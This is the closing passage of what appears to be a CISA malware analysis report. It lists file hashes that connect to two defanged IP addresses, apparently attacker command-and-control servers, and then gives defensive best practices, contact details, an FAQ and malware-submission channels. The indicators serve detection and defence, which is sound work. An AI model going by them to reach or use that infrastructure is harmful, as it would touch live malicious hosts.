2a5de69124...	Connected_To	107[.]148[.]223[.]196
107[.]148[.]223[.]196	Connected_From	949d4b01f31256e5e9c2b04e557dcca0a25fc2f6aa3618936befc7525e1df788
107[.]148[.]223[.]196	Connected_From	2a860849a9e68df0053556b85f20010a1384b4c87594ba4f9bb3e1b1d287b095
107[.]148[.]223[.]196	Connected_From	cf0996a3aee148bc060f4726435dd0d7f1af79082277f407dfa07d81181322ba
107[.]148[.]223[.]196	Connected_From	caa795c4c934219d287379b20c2912af0f815de95bb73e0f02f5fe6eb9aa50bd
107[.]148[.]223[.]196	Connected_From	0b917d945a7491869fa5003f6b85c09f5f45795a7852a8b63ba1abdc9797d6a6
107[.]148[.]223[.]196	Connected_From	b5113e29ec23f6e1be289b99dc7ac2af1c252b4b6ff6e977f7827ab7fd686321
107[.]148[.]223[.]196	Connected_From	b52a9844d8368abe70b6ba0d8df84f88c8c0029dcbcf599665acd703b255d5d2
107[.]148[.]223[.]196	Connected_From	9d0c7a45dd00d31a9724fa9e96cb8ac99dd5a6502fe4515cedaabb2e58b1c5f5
107[.]148[.]223[.]196	Connected_From	3f2ca19ad3635f379968b0302c7e42cf954f85ab61166c6f70acfebc72f38ab7
107[.]148[.]223[.]196	Connected_From	80342108e9f0f1fd6b5c44e88006cebe37e4eccb3a0f567636b22ad210c0a043
107[.]148[.]223[.]196	Connected_From	f536a7b75b7205762b75a037ebf6503029aab1a02afab14b2709797c32e7e0fa
107[.]148[.]223[.]196	Connected_From	f289b565839794fe4f450ed0c9343b8fb699f97544d9af2a60851abc8b4656e0
107[.]148[.]223[.]196	Connected_From	2a5de691243f2b91f164c3021c157fbd783b4f3e7d5f5950182e52ec868cd40b
2b2b7c5e82...	Connected_To	107[.]148[.]219[.]54
107[.]148[.]219[.]54	Connected_From	2b2b7c5e825b7a18e13319b4a1275a0dd0086abd58b2d45939269d5a613a41e7

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

- Maintain up-to-date antivirus signatures and engines.

- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, **"Guide to Malware Incident Prevention & Handling for Desktops and Laptops".**

Contact Information

- 1-888-282-0870
- CISA Service Desk (UNCLASS)
- CISA SIPR (SIPRNET)
- CISA IC (JWICS)

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

- Web: https://malware.us-cert.gov
- E-Mail: submit@malware.us-cert.gov
- FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.